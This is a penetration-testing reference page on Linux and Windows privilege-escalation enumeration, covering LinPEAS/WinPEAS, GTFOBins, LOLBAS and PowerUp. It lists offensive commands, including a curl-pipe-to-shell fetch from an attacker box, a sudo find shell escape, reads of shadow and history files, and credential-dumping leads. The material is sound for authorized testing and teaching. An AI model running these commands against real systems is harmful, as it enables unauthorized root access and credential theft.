Privilege escalation enumeration

Field Detail
Summary Find local privesc on Linux/Windows (LinPEAS/WinPEAS/GTFOBins)
Category Local privilege escalation
Phase post-exploitation
Interface CLI + reference sites
Platform Linux, Windows
Licence Open source
Docs https://github.com/peass-ng/PEASS-ng / https://gtfobins.github.io/ / https://lolbas-project.github.io/
Related Netcat, Mimikatz, Searchsploit and Exploit-DB

After a low-privilege foothold, the job is to find the misconfiguration that gets you to root/SYSTEM. These tools automate the enumeration; GTFOBins and LOLBAS tell you how to abuse what you find.

⚠️ Warning — Transfer & run safely Get the enumeration script onto the target (via your Netcat/HTTP transfer), run it, read the output. Scripts are noisy but read-only. Verify each lead manually — automated scanners flag false positives and miss context.

PEASS-ng — LinPEAS / WinPEAS

The de-facto first move. Dumps everything interesting and colour-codes by likelihood (red/yellow = probably exploitable).

# Get it to the target, then:
./linpeas.sh                      # Linux
./linpeas.sh -a                   # all checks (slower, thorough)
./linpeas.sh | tee linpeas.out    # keep a copy to review

# Download + run in one go (lab; needs egress to your box)
curl 10.8.0.5/linpeas.sh | sh
winPEASx64.exe                    :: Windows
winPEASany.exe quiet              :: no banner

💡 Tip — Read the colour legend LinPEAS prints a legend at the top; red+yellow highlights are the 95%-exploitable findings. Jump to those before reading the full dump.

Linux — what to look for (and check manually)

id; sudo -l                       # sudo rights — #1 win (check GTFOBins for each binary)
find / -perm -4000 -type f 2>/dev/null     # SUID binaries
find / -perm -2000 -type f 2>/dev/null     # SGID
getcap -r / 2>/dev/null           # capabilities (cap_setuid etc.)
cat /etc/crontab; ls -la /etc/cron.*       # cron jobs running as root
cat /etc/passwd; ls -la /etc/shadow        # writable shadow? readable backups?
uname -a; cat /etc/os-release     # kernel version -> Searchsploit for kernel exploit
ps aux --forest                   # root processes, internal services
ss -tlnp                          # local-only listeners (pivot/privesc targets)
ls -la /; find / -writable -type d 2>/dev/null   # writable paths in root-run scripts
env; cat ~/.bash_history          # secrets, creds in config/history

Alternatives: LinEnum, linux-smart-enumeration (lse.sh), pspy (watch cron/processes without root — superb for spotting root-run jobs).

Windows — what to look for

whoami /priv                      :: token privileges — SeImpersonate/SeBackup = known wins
whoami /groups
systeminfo                        :: OS build/patches -> Watson/WES for missing-patch exploits
cmdkey /list                      :: saved credentials
# Services with weak perms, unquoted paths, autologon, AlwaysInstallElevated:
# PowerUp is the classic:
. .\PowerUp.ps1 ; Invoke-AllChecks

Alternatives: WinPEAS, PowerUp, Seatbelt, Watson/WES-NG (patch-based), PrivescCheck.

GTFOBins — abuse Unix binaries

https://gtfobins.github.io/ — for any binary you have sudo/SUID on, it lists the exact escape.

# Example pattern once `sudo -l` shows you can run e.g. find/vim/less/awk as root:
sudo find . -exec /bin/sh \; -quit      # (GTFOBins gives the per-binary syntax)

Search GTFOBins for the binary → pick the SUID / Sudo / Capabilities function that matches how you can invoke it.

LOLBAS — the Windows equivalent

https://lolbas-project.github.io/ — living-off-the-land binaries (signed MS tools) for download, execute, bypass (certutil, bitsadmin, regsvr32, msbuild, etc.). Useful for privesc and for operating without dropping obvious tooling.

Kernel / patch exploits (last resort)

# Linux: feed kernel version to Searchsploit
searchsploit linux kernel 5.4 priv
# or run a suggester:
./linux-exploit-suggester.sh
# Windows: missing-patch mapping
windows-exploit-suggester.py / wesng   (against systeminfo output)

Kernel exploits can crash the box — prefer a misconfig (sudo, service, cron) first; see Searchsploit and Exploit-DB for the read-before-you-run rule.

A sane order

  1. id / whoami /priv + sudo -l — the fast wins first.
  2. Run LinPEAS/WinPEAS, read red/yellow.
  3. Chase misconfigs: sudo → GTFOBins; SUID/caps; writable cron/services; creds in files/history.
  4. pspy to catch scheduled root jobs you can hijack.
  5. Only then kernel/patch exploits.
  6. Got root/SYSTEM? On Windows, pivot to credential extraction with Mimikatz.

More checks & quick wins

Linux:

sudo -l                                    # then look up each allowed binary on GTFOBins
getcap -r / 2>/dev/null                     # e.g. cap_setuid on python/perl -> root
find / -perm -4000 -type f 2>/dev/null      # SUID binaries (GTFOBins)
cat /etc/crontab; ls -la /etc/cron.*; ./pspy64   # watch root cron/processes live
grep -RiE "password|secret" /var/www /etc /home 2>/dev/null
# writable script run by root cron/service? writable dir on a root script's PATH?

Windows:

whoami /priv      # SeImpersonate/SeAssignPrimaryToken -> *Potato -> SYSTEM
                  # SeBackup/SeRestore -> read SAM+SYSTEM ; SeDebug -> dump LSASS
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated  # ==1 both hives -> SYSTEM via MSI
sc qc <svc>       # unquoted service path / weak perms (confirm with accesschk) -> replace binary
schtasks /query /fo LIST /v                 # tasks running as SYSTEM you can modify
cmdkey /list                                # stored creds -> runas /savecred

Automate: Linux → LinPEAS / lse / pspy; Windows → WinPEAS / PowerUp Invoke-AllChecks / Seatbelt / PrivescCheck. Patch-level → linux-exploit-suggester.sh, WES-NG against systeminfo.

Kill-chain usage

Post-exploitation

./linpeas.sh      # (Linux) find the privesc path  —  whoami /priv on Windows

Where it fits

The step between a shell and owning the box. Runs right after you land a foothold; its output tells you whether you escalate via a one-line GTFOBins trick or need an exploit from Searchsploit and Exploit-DB.